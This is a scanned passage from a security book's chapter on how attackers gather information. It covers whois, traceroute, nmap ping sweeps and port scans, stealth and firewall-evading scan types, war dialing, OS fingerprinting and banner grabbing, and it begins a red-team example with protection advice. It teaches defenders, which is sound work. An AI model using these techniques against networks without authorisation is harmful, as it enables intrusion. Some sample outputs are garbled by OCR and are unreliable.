subnet addressing and how the network segments are divided up. The
following is the information an attacker would get when he puts in our IP
address of 10.10.10.5:

Some Communications (NET-SOME-ICON3) SOME-ICON3
10.10.0.0 - 10.10.255.255

NewRiders (SOME-NewRiders) ICON-NET-BA-NEWRIDERS
10.10.10.0-10.10.10.255

In this case, an attacker can see that New Riders acquired its IP addresses
from Some communications, and Some communications has the range
10.10.x.x, which it subnets to its clients. In this case, New Riders was
given the range 10.10.10.x, which means it has 254 possible hosts from
10.10.10.1 to 10.10.10.254 (remember host addresses of all 1’s or Q’s is
invalid, so .0 and .255 cannot be used for a host address). Now an
attacker can concentrate his efforts on the 254 addresses as opposed to
the entire 10 network, which would take a lot more effort.

ARIN whois has a lot of different options that can be run. The following are
some of the different options with examples, taken from
http://www.arin.net.

Output from ARIN Whois

ARIN's Whois service provides a mechanism for finding contact
information for

those who have registered "objects" with ARIN. ARIN's database
contains Internet

network information including ASNs, hosts, related POCs, and
network numbers.

ARIN's Whois will NOT locate domain related information or
information relating to

Military Networks. Please use rs.internic.net to locate
domain information and

nic.mil for NIPRNET information.

To locate records in our database, you may conduct a web based
Whois search by
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inserting a search string containing certain keywords and
characters (shown below
with their minimum abbreviation in all CAPS).

You may search by name, ARIN-handle, hostname, or network
number.

Your results will be more or less specific depending on the
refinements you apply

in your search. Follow the guidelines below to make your
search more specific and

improve your results.

Using a Local Client
UNIX computers have a native whois command. The format is:

Whois -h hostname identifier e.g. Whois -h rs.arin.net
arin-net

This will search the database for entries that contain the
identifier (name,

network, host, IP number, or handle). The example searches by
network name.

Special characters may be used in the identifier field to
specify the search

To find only a certain TYPE of record, use keyword:

HOst

ASn

PErson
ORganization
NEtwork
GRoup

To search only a specific FIELD, use keyword or character:
HAndle or "!"

Mailbox or contains "@"

NAme or leading "."

Here are some additional Whois keywords:

EXPand or "*x" Shows all parts of display without asking
Full or "=" Shows detailed display for EACH match

HElp Enters the help program for full documentation
PArtial or trailing "." Matches targets STARTING with the
given string

Q, QUIT, or hit return Exits Whois
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SURdisplay or "%" Shows users of host, hosts on net, etc.
SUMmary or "$" Always shows summary, even 1if there is just
one match

When conducting a search using the trailing "." to your input
or using the PArtial

keyword, you will locate everything that starts with your
input. For example,

typing "na Mack." or "na pa mack" will locate the names
"Mack", "MacKay",

"Mackall" etc.

To guarantee matching only a single record, look it up by its
handle using a

handle-only search. For example, a search for "KH" finds all
records with the

contact information for KH, but "!1KH" or "HA KH" would find
only the single

record (if any) whose handle is KH . In the record summary
line, the handle is

shown in parenthesis after the name, which is the first item
on the line.

When using a handle to conduct a search for other information,
be sure to add the

-arin extension to the handle. For example, using the handle
JB2 to search the

database requires insertion of "JB2-arin" in the search field.

The Whois search program has been modified to more effectively
accommodate

classless queries. Prior versions provided results on classful
queries only.

To cite an example:

A query using Netnumber 10.8.0.0 under the older version of
Whois yielded a "no
match found" response.

Querying 10.0.0.0, 12*, or 10. would have located up to 256
records inside the
Class A block (too much information).

Using the enhanced Whois search, the user can query any net
number and locate the

network record containing the number, assuming that the number
is registered

through ARIN. This is true for all classless addresses whether
or not the number
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is located at a bit boundary. Network information will be
displayed

hierarchically,
"children,"

with "parent," 2nd level parent, and

shown 1in order.

Traceroute

To understand how traceroute works, you need a basic understanding of
ICMP and ping. Let’s briefly look at ping before we discuss traceroute. Ping
is @ program based on Internet Control Message Protocol (ICMP), which
tells you whether a host is responding. If it is not responding, you get the
following output:

Pinging newriders.com [10.10.10.8]
Request timed out.
Request timed out.

Ping statistics for 10.10.10.10:

with 32 bytes of data::

Packets: Sent = 2, Received = 0, Lost = 2 (100% loss),
Approximate round trip times in milli-seconds:
Minimum = Oms, Maximum = Oms, Average = 0Oms Control-C

If a host is active on the network and responding, you get the following
message:

Pinging 10.10.10.10 with 32 bytes of data:

Reply from
Reply from
Reply from
Reply from

10.
10.
10.
10.

10.
10.
10.
10.

10.
10.
10.
10.

10:
10:
10:
10:

bytes=32
bytes=32
bytes=32
bytes=32

time=2ms
time=4ms
time=5ms
time=5ms

TTL=255
TTL=255
TTL=255
TTL=255

Ping statistics for 10.10.10.10:
Packets: Sent = 4, Received = 4, Lost = 0 (0%

Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 5ms, Average =

loss),

dms

Ping is useful, but in some cases, you would like to know the path a
packet took through the network. In such cases, you would use a program
called traceroute. Traceroute modifies the time to live (TTL) field to
determine the path a packet takes through the network. The way TTL
works is that every time a packet goes through a router, the TTL field is
decremented. When a router gets a packet with a TTL of 0, it cannot
forward the packet. What normally happens is when the TTL gets to 1, the
current router determines whether the next hop is the destination, and if
it is not, it drops the packet. Normally, it will throw the packet away and
send an ICMP “time exceeded” message back to the sender. The
traceroute program sends out a packet with a TTL of 1, then 2, then 3,
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and so on, until it gets to the destination. This forces each router along
the way to send back a time exceeded message, which can be used to
track each hop from source to destination. The following is sample output
from running traceroute:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.246.68.1

2 4 ms 7 ms 4 ms 10.5.5.1

3 9 ms 7 ms 7 ms 10.6.5.1

4 12 ms 7 ms 7 ms SOMENAME.LOCATION. NET
[10.7.1.1]

5 8 ms 11 ms 11 ms SOMENAME . LOCATION. NET
[10.8.1.1]

o 11 ms 18 ms 21 ms SOMENAME.LOCATION. NET
[10.9.1.1]

7 120 ms 96 ms 119 ms SOMENAME.LOCATION. NET
[10.10.1.1]

8 82 ms 125 ms 82 ms SOMENAME .LOCATION. NET
[10.11.1.1]

9 97 ms 92 ms 156 ms SOMENAME . LOCATION. NET
[10.12.1.1]

10 81 ms 82 ms 82 ms EXTERNAL.ROUTER.LOCATION. NET
[10.13.1.1]

11 81 ms 86 ms 108 ms FIREWALL 10.14.1.1

12 109 ms 85 ms 90 ms LOCATION. NET [10.10.10.5]

Trace complete.

Because traceroute shows the path a packet took through a network, this
information can be used to determine whether hosts are on the same
network or not. Companies that are connected to the Internet have an
external router that connects their networks to their ISPs or the Internet.
All traffic going to a company has to go through the external router.
Otherwise, there would be no way to get traffic into the network. (This is
assuming that the company does not have multiple connections to the
Internet.) Most companies have firewalls, so the last hop of the traceroute
output would be the destination machine, the second to last hop would be
the firewall, and the third to last hop would be the external router. All
machines that go through the same external router are on the same
network and usually belong to the same company.

By tracerouting to various IP addresses, an attacker can determine
whether or not these machines are on the same network by seeing
whether they went through the same external router. This can be done
manually, Perl scripts could be written, or a hacker could just use the grep
command to filter the output.
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In the previous example, the 10th hop is the external router, and the 11th
hop is the firewall. So now if an attacker runs several traceroutes, he can
see whether or not they go through the external router, and by doing this
with a bunch of addresses, he can tell which ones are on the local
segment and which ones are not. So, if an attacker performs this for
10.10.10.1 and 10.10.10.5, he gets the following:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.246.68.1

2 4 ms 7 ms 4 ms 10.5.5.1

3 9 ms 7 ms 7 ms 10.6.5.1

4 12 ms 7 ms 7 ms SOMENAME.LOCATION. NET
[10.7.1.1]

5 8 ms 11 ms 11 ms SOMENAME.LOCATION. NET
[10.8.1.1]

6 11 ms 18 ms 21 ms SOMENAME.LOCATION. NET
[10.9.1.1]

7 120 ms 96 ms 119 ms SOMENAME.LOCATION. NET
[10.10.1.1]

8 82 ms 125 ms 82 ms SOMENAME.LOCATION. NET
[10.11.1.1]

9 97 ms 92 ms 156 ms SOMENAME.LOCATION. NET
[10.12.1.1]
10 81 ms 82 ms 82 ms EXTERNAL.ROUTER.LOCATION. NET
[10.13.1.1]
11 81 ms 86 ms 108 ms FIREWALL 10.14.1.1
12 109 ms 85 ms 90 ms LOCATION. NET [10.10.10.5]

Trace complete

If he performs it for 10.10.9.x and 10.10.11.x, he gets the following:

Tracing route to [10.10.10.5]
over a maximum of 30 hops:

1 2 ms 3 ms 3 ms 10.24.0.1

2 4 ms 7 ms 4 ms 10.25.5.1

3 9 ms 7 ms 7 ms 10.26.5.1

4 12 ms 7 ms 7 ms SOMENAME .LOCATION. NET
[10.27.1.1]

5 8 ms 11 ms 11 ms SOMENAME.LOCATION. NET
[10.28.1.1]

6 11 ms 18 ms 21 ms SOMENAME.LOCATION. NET
[10.29.1.1]

7 120 ms 96 ms 119 ms SOMENAME.LOCATION. NET
[10.210.1.1]
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8 82 ms 125 ms 82 ms SOMENAME.LOCATION. NET
[10.211.1.1]

9 97 ms 92 ms 156 ms SOMENAME . LOCATION. NET
[10.212.1.1]
10 81 ms 82 ms 82 ms EXTERNAL.ROUTER.LOCATION. NET
[10.213.1.1]

11 81 ms 86 ms 108 ms FIREWALL 10.214.1.1

12 109 ms 85 ms 90 ms LOCATION. NET [10.210.10.5]

Trace complete.

Based on the two sets of results, the attacker knows that 10.10.10.x is on
the same segment or is for the same company and 10.10.x.x is not.
Therefore, the range of hosts addresses are 1-254, and the subnet is
255.255.255.0.

We showed two ways that an attacker could go in and determine the
range of addresses for a company. Now that an attacker has the address
range, he can continue gathering information, and the next step is to find
active hosts on the network.

Find Active Machines

After an attacker knows what the IP address range is, he wants to know
which machines are active and which ones are not. In a lot of cases, a
company gets an address range that is larger than what it needs, so it can
grow into it. Also, different machines are active at different times during
the day. What I have found is that if an attacker looks for active machines
during the day and then again late in the evening, he can differentiate
between workstations and servers. Servers should be up all the time and
workstations would only be active during normal working hours.

Also, because more and more companies are using Network Address
Translation (NAT), with private addresses on the inside, this technique will
sometimes provide limited information, if it is performed from the
Internet. For example, if I only have two devices with external addresses
and everything else is behind the firewall, an attacker might think there
are only a couple of machines, when in reality there are a lot more. Thus,
another benefit of using private addresses and NAT. With NAT, a company
uses private addresses for its internal machines, such as the 10.x.x.x
network range, and whenever these machines need to access the
Internet, the device performing NAT, usually the firewall or router,
translates the private address to a public address.

Ping

As we have covered, ping is a useful program for finding active machines
on a network. Ping uses ICMP and works by sending an “echo request”
message to a host, and if the host is not active, it does not receive a
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reply, and it times out. If the host is active, then it sends back an “echo
reply” to the sender of the message. Ping is a simple and straightforward
way to see which machines are active and responding on a network and
which ones are not. The only drawback is ping is usually used to ping one
machine at a time. What an attacker would like to do is ping a large
number of machines at the same time and see which ones respond. This
technique is commonly referred to as ping sweeping because the program
sweeps through a range of addresses to see which ones are active. Ping
War is a useful program for finding active machines. Ping War runs on
Windows machines and is available at:
http://www.fantastica.com/digilex/. Ping War basically pings a range of
addresses, so an attacker knows which ones are active. Figure 3.2 shows
the output from Ping War:

Figure 3.2. Initial screen for Ping War.

File Edt Help

Net 10400 *] Bwes[ =
sat[i End[30 TimeDufzin =

10401 - Answered in 2 meecs
10.4.0.2 : Answered in 20 meecs
T0L4.0.3 : Hequest timed ot
10404 : Angwered in 5 meecs
10.4.0.5 : Answered in 11 msecs
10,406 ; Request timed out
104DV : Request timed oul

T0LA 08 : Reques! timed ol
T0L4.0.9 : Hequest timed ot
10.4.0.10 : Request timed ouwt
10.4.0.11 : Answered in 11 meecs
10.4.0.12 ; Request timed out
10.4.0.13 : Request timed out
T0LADLT4 : Request limed out
T0LA D15 : Request timed out
10LADT6 : Request timed ot
104017 : Request limed out
TLADTE : Request timed out
10.4.0.19 : Request timed out
104020 : Request limed out
T0LA.D.2T : Request tmed oul
1A D22 - Angwered in 11 meecs
1004023 : Request limed out —
T 4024 : Answered in 49 meecs

104025 : Angwered in 12 mascs

10LAD0L26 © Request limed out

T4 02T : Answered in 11 moscs j

|

Nmap can also be used to determine which machines are active. Nmap is
a multi- purpose tool that has several features. Nmap is mainly a port
scanner, but it can also be used to ping sweep an address range. Using
the following syntax enables nmap to scan a range of addresses:

Nmap —-sP -PI 10.4.0.1-30

The following is the output from running the command:

Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )
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Host 10.4.0.1 appears to be up.
Host 10.4.0.2 appears to be up.
Host 10.4.0.4 appears to be up.
Host 10.4.0.5 appears to be up.
Host 10.4.0.11 appears to be up.
Host 10.4.0.22 appears to be up.
Host 10.4.0.24 appears to be up.
Host 10.4.0.25 appears to be up.
Host 10.4.0.27 appears to be up.

Find Open Ports or Access Points

Now that an attacker has a pretty good map of the network and knows
which machines are active and which ones are not, he can begin to assess
how vulnerable the machines are. Just as a burglar would look for access
points into a house to see how vulnerable it is, an attacker wants to do
the same thing. In a traditional sense, the access points a thief looks for
are doors and windows. These are usually the house’s points of
vulnerability because they are the easiest way for someone to gain
access. When it comes to computer systems and networks, ports are the
doors and windows of the system that an intruder uses to gain access.
The more ports that are open, the more points of vulnerability, and the
fewer ports, the more secure it is. Now this is just a general rule. There
could be cases where a system has fewer ports open than another
machine, but the ports it has open present a much higher vulnerability.

Port Scanners

To determine which ports are open on a system, an attacker would use a
program called a port scanner. A port scanner runs through a series of
ports to see which ones are open. There are several port scanners
available, however, there are two key features that I highly recommend
having in a port scanner. First, make sure it can scan a range of addresses
at the same time. If you are trying to determine the vulnerabilities for
your network and you have thirty machines, you are going to get really
tired of scanning each machine individually. Second, make sure you can
set the range of ports that the program scans for. A lot of port scanners
will only scan ports 1 through 1024, or they only scan the more popular
ports, which are known as well-known port numbers. This is very
dangerous because, in a lot of cases, attackers know this, so if they break
into your machine and open a port as a backdoor, they will open a high
port, for instance 40,000, with the hope that you will not notice it. You
only know every possible point of entry into a machine, if you can scan
the entire range 1 through 65,535. It is also important to point out that
you have to scan ports 1 through 65,525 twice—once for TCP and once for
UDP. Because most companies only scan TCP, attackers like to hide on
UDP ports.
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There are also several different types of scans that can be performed:

« TCP connect scan— This is the most basic type of scan. The
program tries to connect to each port on a machine using the
system calls and trying to complete a three-way handshake. If the
destination machine responds, then the port is active. In most
cases, this type of scan works fairly well. It doesn’t work if the
network you are scanning is trying to hide information with a
firewall or other device. Some firewalls can detect that a port scan is
being hacked, and they provide limited or no information to the
attacker. It also doesn’t work well if you are trying to hide the fact
that your are port scanning a machine. A TCP connect scan is noisy
because it is easy for someone to detect, if they are watching the
system.

« TCP SYN scan— Remember, because TCP is a reliable protocol, it
uses a three-way handshake to initiate a connection. If you are
trying to see whether a port is open on a machine, you would send a
packet to that port with the SYN bit set. If the port is open, the
machine would send back a second packet with the SYN and ACK bit
set. Well, at this point, you know the port is open on the machine,
and there is no need to send the third part of the three-way
handshake. This technique is often referred to as having a half open
connection to a machine. This type of scan is a little more stealthy
than the basic scan because some machines do not log a half open
connection.

« FIN scan— After a TCP connection is established, the two
machines send packets back and forth. When they are done
communicating, they send a packet with the FIN bit set, basically
tearing down the connection. Well, the way TCP works is if you send
a packet to a closed port, the system replies with a RST command
telling you the port is not open. The way this scan works is by
sending a packet with the FIN bit set. If the port is open, it ignores
it, but if the port is closed, you get a RST or reset. This type of scan
is very stealthy because most systems do not log these packets.

« ACK scan— As we have covered, to initiate a new connection, a
system has to send a packet with the SYN bit set. If a system sends
a packet to a machine where it does not have an active connection
with the ACK bit set, and the destination machine has that port
open, it will send a reset. You might be saying, “This sounds a lot
like a FIN scan,” but it has one big advantage. It is an easy way to
get around packet filtering firewalls. Most packet filtering firewalls
allow established sessions into a network. If this was not allowed, all
traffic would be blocked. So, the way it is configured is if the
connection is initiated from inside the network, then it allows the
reply back in. The way this is done is by checking SYN and ACK
flags. If the SYN bit is not set and the ACK bit is set, then the
firewall assumes that it is an established session. So, doing an ACK
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scan provides a convenient way to get around these firewalls and
scan an internal host.

There are several other type of scans, but these are the most popular.
Now we will take a look at port scanning programs for both the Windows
and UNIX environments.

ScanPort

For a Windows environment, we are going to use a program called
ScanPort. It is a fairly basic port scanner, but it enables you to specify
both a range of addresses and range of ports to scan. ScanPort is written
by DataSet and is available at: http://www.dataset.fr/eng/scanport.html.
Figure 3.3 is the output from running ScanPort against a single machine.

Figure 3.3. Running ScanPort on a Windows machine.
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In this case, it was a web server that the administrator told me only had
port 80 open. It is pretty interesting what you will find when you start port
scanning machines.

Nmap

On the UNIX side, the port scanner that I recommend is nmap. Nmap is
much more than a port scanner, and it is a necessary tool for your
security toolbox. Nmap enables you to run all the different types of scans
we talked about and has a lot of other useful features. The following is the
output from nmap:

“ Hackers Beware * New Riders Publishing 99



Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )

Interesting ports on (10.246.68.1):

(The 1516 ports scanned but not shown below are in state:
closed)

Port State Service

7/tcp open echo

9/tcp open discard

13/tcp open daytime

19/tcp open chargen

23/tcp open telnet

79/tcp open finger

80/tcp open http

Nmap run completed -- 1 IP address (1 host up) scanned in 2
seconds

After running the port scanners, an attacker has a really good idea of the
access points into the computer systems.

War Dialing

Another common access point into a network is modems. You do not know
how many times I have been performing a security assessment where the
company had very good Internet security. They had a properly configured
firewall and minimal access, but they broke the cardinal rule that all traffic
in and out of your network must go through the firewall. They had the
modem pool and random modems connected to servers that were behind
the firewall. This meant once I was able to locate the modems, I could
dial-in to try to crack the passwords, and in several cases, there were no
passwords.

Programs for finding modems on a network are called war dialers.
Basically, you put in the starting numbers or the range of phone numbers
you want it to scan, and it will dial each number looking for a modem to
answer, and if a modem answers, then it records this information.

THC-Scan

Several war dialers are available on both shareware and commercial, but
the one we will cover is THC-Scan. THC-Scan runs in a DOS window in a
Windows environment. Figure 3.4 is the main screen for THC-Scan.

Figure 3.4. THC-Scan’s main screen.
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THC-Scan has most of the features an attacker would need to perform
war dialing tasks. Some of these features are:

e Support for both carrier and tone mode

« Variable dialing features. This enables the program to dial the
numbers in sequential or random order.

o Distributed feature that enables various machines or modems to
work together.

« Jamming detection, if it starts to detect a high humber of busy
signals

« Random wait between calls

As you can see, the program has several features to accomplish war
dialing. The key thing to emphasize with war dialing is that the program
actually rings every phone and waits for someone to answer. If a person
answers, it disconnects, but if a modem answers, it records the
information and then disconnects. An attacker could also set the program
to connect if a modem answers, at which point, it tries to determine what
program is running, and in some cases, it even tries to guess the
password. This is important to point out because if an attacker performs
war dialing in sequential order, a company would see one phone after
another ring, and when the person picks up, no one is there. This would
look very suspicious, and this is why war dialing is usually done after
hours—to minimize the chance of detection.

Figure Out the Operating System

Now that the attacker is starting to make a lot of progress—he knows
which machines are active and which ports are open—it would be useful
for him to identify which operating system each host is running. There are
programs that probe the remote hosts to determine which operating
system is running. This is done by sending the remote host unusual
packets or packets that do not make sense. Because these packets are
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not specified in the RFC, each operating system handles them differently,
and by parsing the output, the attacker can figure out what type of device
he is accessing and which operating system (OS) is running. Just to give
an example, one type of packet used is a packet with the SYN and FIN bits
both set. In normal operations, this type of packet should not occur, so
when the operating system responds to this packet, it does so in a
predictable fashion, which enables the program to determine which
operating system the host is running. Also, the sequence nhumbers used
with TCP have various levels of randomness, depending on which
operating system is running. The programs also use this information to
make a best guess at what the remote OS is.

Queso

Queso is the original program that performs this function. Queso currently
identifies around 100 different devices ranging from Microsoft to UNIX to
Cisco routers. As you can see, this is a great tool that will help an attacker
figure out the target OS, so he can focus in on the OS to compromise it.
The following is the output from running queso against an IP address:

10.246.68.1:80 * Cisco 11.2(10a), HP/3000 DTC, BayStack
Switch

As you can see, it correctly identified the device as a Cisco router. Now,
from a security standpoint, you would make sure that all the proper
patches have been applied, so the device cannot be compromised. I have
also known cases where administrators have changed some of the default
behavior on these devices to try to fool these programs.

Nmap

The other program that enables you to do this is nmap. It has the same
functionality as queso, I just prefer it because it is an all-in-one tool and
has additional features. It can also detect more devices. Currently, it can
detect close to 400 different devices. The following is the output from
running nmap with the OS fingerprinting option turned on:

Starting nmap V. 2.53 by fyodor@insecure.org (
WWw.linsecure.org/nmap/ )

Interesting ports on (10.246.68.1):

(The 1516 ports scanned but not shown below are in state:
closed)

Port State Service
7/tcp open echo

9/tcp open discard
13/tcp open daytime
19/tcp open chargen
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23/tcp
79/tcp
80/tcp

TCP Sequence Prediction:
Remote operating system guess:

Nmap run completed -- 1 IP address

seconds

open
open
open

Starting nmap V.
WWW.1insecure.org/nmap/ )

Interesting ports on
(The 1508 ports scanned but not shown below are in state:

closed)
Port
21/tcp
23/tcp
25/tcp
79/tcp
98/tcp
111/tcp
113/tcp
513/tcp
514/tcp
515/tcp
948/tcp
1024 /tcp
1025/tcp
1032/tcp
6000/tcp

TCP Sequence Prediction:
Remote operating system guess:

Nmap run completed -- 1 IP address

second

State
open
open
open
open
open
open
open
open
open
open
open
open
open
open
open

Starting nmap V.
Wwww.lnsecure.org/nmap/ )

Interesting ports on
(The 1522 ports scanned but not shown below are in state:

closed)
Port
139/tcp

TCP Sequence Prediction:

State
open

telnet
finger
http

2.53 by fyodor@insecure.org

(208.246.68.48) :

Service
ftp
telnet
smtp
finger
linuxconf
sunrpc
auth
login
shell
printer
unknown
kdm
listen
iad3
X11

2.53 by fyodor@insecure.org

(208.246.68.40) :

Service

netbios-ssn

Difficulty=1
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Class=random positive increments
Difficulty=2489
Cisco IOS 11.3 -

(Medium)

(1 host up) scanned in 2

Class=random positive increments
Difficulty=920729
Linux 2.1.122

(Good 1luck!)
- 2.2.14

(1 host up) scanned in 1

Class=trivial time dependency
(Trivial joke)
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Remote operating system guess: Windows NT4 / Win95 / Win98

Nmap run completed -- 1 IP address (1 host up) scanned in 3
seconds

In this example, an attacker ran nmap against three devices, one was a
Cisco router, one was a Linux machine, and one was a Windows 98
machine. All were correctly identified.

Figure Out Which Services Are Running on Each Port

Now that an attacker knows which operating system is running, the IP
address, and which ports are open, the attacker needs to find out which
services are running on each port. Knowing which specific service is
running enables the attacker to look up exploits and launch known
vulnerabilities against the service. The first way to do this is to utilize the
default information.

Default Port and OS

Based on common configuration and software, the attacker can make a
best guess of what services are running on each port. For example, if he
knows that the operating system is a UNIX machine and port 25 is open,
he can assume it is running sendmail, and if the operating system is
Microsoft NT and port 25 is open, he can assume it is running Exchange.
This is an easy way to figure out which service is running, however we do
not have the details an attacker wants, for example, which version of the
software. Also, just because port 25 is open does not mean it is running a
mail program. On most systems it is, but it is not guaranteed. A more
accurate way to obtain this information is with a manual method.

Telnet

Telnet is a program that comes with most operating systems that enables
you to connect to a specific port on a destination machine. We will cover
other programs, such as netcat, which also enable you to do this. With
these programs, an attacker would connect to the port that is open and
would hit the enter key a couple of times. The default installation of most
operating systems displays banner information about what services are
running on a given port. The following is an example of connecting to two
different ports on a Linux system:

Connecting to port 25:

Red Hat Linux release 6.2 (Zoot)
Kernel 2.2.14-5.0smp on an 1686
login:

“ Hackers Beware * New Riders Publishing 104



e Port 25 (telnet 10.10.10.5 25):

o 220 linuxl ESMTP Sendmail 8.9.3/8.9.3;
Wed, 27 Dec 2000 21:32:55 -0500

As you can see, the system tells you not only what service is running, but
what version and what the underlying operating system is. A company
giving this information away is just making it way to easy for an attacker.
As much as possible, this information needs to be removed or sanitized
before an operation system goes live.

Vulnerability Scanners

Vulnerability scanners are programs that can be run against a site that
give a hacker a list of vulnerabilities on the target host. The following are
several different vulnerability scanners that are currently available:

o« Commercial:
o ISS’s Internet Scanner (http://www.iss.net)
o Network Associates’ CyberCop Scanner
(http://www.pgp.com/products/cybercop-scanner/default.asp)
o Cisco’s Secure Scanner (formerly NetSonar)
(http://www.cisco.com/warp/public/cc/pd/sgsw/nesn/)
o Axent’s NetRecon (http://www.axent.com)

o Shareware:

o SARA, by Advanced Research Organization (http://www-
arc.com/sara/)

o SAINT, by World-wide Digital Security
(http://www.wwdsi.com/saint/)

o VLAD the Scanner, by Razor
(http://razor.bindview.com/tools/)

o Nessus, by the Nessus Project Team (http://www.nessus.org)

This is not a comprehensive list, however it is meant to give you an idea
of the programs available. Because this chapter is on information
gathering, these programs will not be covered in depth. They are
mentioned because many of the vulnerability scanners will try to probe
each port to verify or figure out which service is running. In my
experience, they are not always as detailed or as accurate as the manual
method of telneting to each port, but they are a lot quicker.

Map Out the Network
Now that an attacker has gained all this information, he wants to map out
your network, so he can figure out the best way to break in. When a thief

is going to rob a bank, what does he do? He either acquires the blueprints
for the building or he visits the building and draws a map of the floor plan.
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This way, he can figure out the best way to successfully pull off his
robbery. To do this with a network, there are manual and automatic ways
to determine this information. We will briefly show how an attacker can
use traceroute or ping to find out the information. He could also use a
program such as cheops, which automatically maps the network for him.

Traceroute

As we already discussed, traceroute is a program that can be used to
determine the path from source to destination. By combining this
information, an attacker determines the layout of a network and the
location of each component.

For example, after running several traceroutes, an attacker might obtain
the following information:

o traceroute 10.10.10.20, second to last hop is 10.10.10.1
o traceroute 10.10.20.10, third to last hop is 10.10.10.1

o traceroute 10.10.20.10, second to last hop is 10.10.10.50
o traceroute 10.10.20.15, third to last hop is 10.10.10.1

o traceroute 10.10.20.15, second to last hop is 10.10.10.50

By putting this information together, he can diagram the network, as
shown in Figure 3.5.

Figure 3.5. Diagram of sample network an attacker was able to map out using
traceroute.
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Visual Ping

To show you the power of such techniques, let’s start to utilize some
programs that help automate this process. VisualRoute is a program that
visually shows the route a packet took through the Internet. Not only does
it show an attacker the systems it went through, but it also shows an
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attacker where the system is located geographically. Figure 3.6 shows an
example of running VisualRoute.

Figure 3.6. Example of using VisualRoute to identify the location of a machine.
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By running this multiple times against several hosts, an attacker can get a
good idea of whether two systems are on the same network. This is only a
little more automated than the manual method, so now let’s look at a
program that automates the entire process.

Cheops

Cheops utilizes the techniques just mentioned to map out a network and
display a graphical representation of the network. Now, if this is run from
the Internet, it is only able to map out the portion of the network that it
has access to. So, any machine that is not accessible from the Internet,
such as non-routable addresses, are not able to be mapped. Thus, another
reason to use non-routable addresses whenever possible. Figure 3.7 is
sample output from running cheops.

Figure 3.7. Output from running cheops against a sample network.
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Cheops is basically a network mapping tool, but if a company is not
careful, it can be used against it. Cheops not only maps a network, but it
performs operating system fingerprinting to determine what the operating
system is on a given system, and it displays it with the appropriate icon.
As you can see, these programs are getting more and more powerful—a
single program can perform multiple functions, which makes it much
easier for an attacker. This means that companies must take the time to
properly secure their networks.

Information Gathering Summary

So far in this Chapter, we have covered the steps that an attacker would
take to gather information about a company or the steps you would take
to see what information is available about your network, so that you can
secure your system. It is important to remember that someone cannot
just directly attack your system. They have to spend some time gathering
information, so they know what they are attacking. If a company could
limit what information it gives out, it would not only make it harder for
someone to attack its system, but it would make it less of a target. In this
current environment, there are so many systems with no or minimal
security that if your site looks harder to get into, there is a good chance
an attacker will pass you by. The important thing to remember is that the
earlier you can detect someone doing damage, the better off you are. So,
by understanding the steps an attacker would take to gather information
on your site, the better chance you have of detecting him and stopping
him before he causes more damage.

To better illustrate the information gathering process, we will cover an
example of red teaming. In a lot of cases, especially with companies that
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have sensitive operations, such as banks, the company wants to know the
threat it has to external attackers and the points of vulnerability without
giving away any information. Basically, these companies want to simulate
an attack with a trusted entity that will then help them improve their
security. This process is often referred to as red teaming because it
provides insight into the steps an attacker would take to compromise your
system. The following section illustrates the previous steps we have
covered in an example where we compromise a fictitious company. So,
let’s put together our red team and start gaining information about our
target network.

Red Teaming

In the first half of this Chapter, we went over the steps that an attacker
would perform, but we went over each step independently. What makes
these steps so powerful is when you combine them together to see the
end result. To help illustrate this, we will go through an example of how a
hacker would perform this type of attack against your company. Because
the real interest is for you to understand it, so you can perform it against
your company with the goal of securing your system, we will call in a red
team exercise. We will also look at what can be done to minimize the
amount of information someone can gather from your site. To do this,
each step will be followed by a section called “Protection”, which will tell
you what can be done to minimize the impact to your company. I
recommend performing these steps against your company, and after you
determine your points of vulnerability, follow the procedures on how to
protect against them. Remember, always under any circumstance, get
written permission before installing or running these tools against a
network!

In this example, we are going to go after a fictitious company, company
X. The following are the basic steps we are going to cover:

« Whois

e NsLookup

« ARIN Web Search

« Traceroute

« Ping

« Map the network

o PortScan and Fingerprinting
o Exploiting the System

Whois
Now that we have decided to target Company X, the first thing we want to

do is perform a whois lookup on its domain name to find out additional
information. The following is the output from whois:
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*** Connecting to whois.networksolutions.com
*** Connected established

The Data in Network Solutions' WHOIS database is provided by
Network

Solutions for information purposes, and to assist persons in
obtaining information

about or related to a domain name registration record.

Network Solutions does not guarantee its accuracy. By
submitting a WHOIS query,

you agree that you will use this Data only for lawful purposes
and that, under no

circumstances will you use this Data to: (1) allow, enable, or
otherwise support

the transmission of mass unsolicited, commercial advertising
or solicitations via

e-mail (spam); or (2) enable high volume, automated,
electronic processes that
apply to Network Solutions (or its systems). Network

Solutions reserves the right

to modify these terms at any time. By submitting this query,
you agree to abide

by this policy.

Registrant:

Eric Test (TESTDOMAIN-DOM)
21225 Somewhere Drive
Somewhere, SW 22534
Us

Domain Name: TESTCOMPANYX DOMAIN

Administrative Contact, Technical Contact, Zone Contact,

Billing Contact:
Cole, Eric (EC2515) ERICEAYCE.COM

Eric Test (TESTDOMAIN-DOM)

21225 Somewhere Drive

Somewhere, SW 22534

Us

555-555-5555 fax 444-444-4444

Record last updated on 22-Jul-1999.

Record expires on 17-Apr-2001.

Record created on 17-Apr-1998.

Database last updated on 27-Jul-2000 06:19:54 EDT.

Domain servers in listed order:

MAILZ .TESTDOMAIN 10.196.0.38
MAIL1.TESTDOMAIN 10.45.32.38
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*** Connection closed

As we stated earlier in this chapter, we get a lot of important information,
but the pieces we care about are the two domain name servers. If we
were performing a social engineering attack, then we would use the other
information.

Protection

There are a couple of things you can do to minimize the potential damage
the whois lookup can cause. Remember that you need to have a domain
record and that data has to be somewhat valid because that is what
people use to contact you or your company. The first piece of information
is the contact information. I recommend putting a position title with a
general number, as opposed to with a specific person, so the potential for
social engineering is reduced. The other thing you can do is list your
number, but make up a fictitious name and email. You would check the
email and phone calls for this person, but from a social engineering
standpoint, if anyone calls up asking for this person or throwing their
name around, it should set off an immediate flag. This is a good way to
turn the tables on the attacker and trap him. Be very careful because I
have seen cases where companies try to out smart an attacker, and it
backfires on them.

To protect against the DNS problem, run your own DNS server with split
DNS. This way, an attacker queries the external DNS server where he only
gets a minimal amount of information.

Nslookup

Now that we have the names of the DNS servers, we want to use
nslookup to try to find the IP address of some servers. Remember, the
server we are connecting to is authoritative for the domain we are after,
so it will have records listed for the mail server, the web server, and
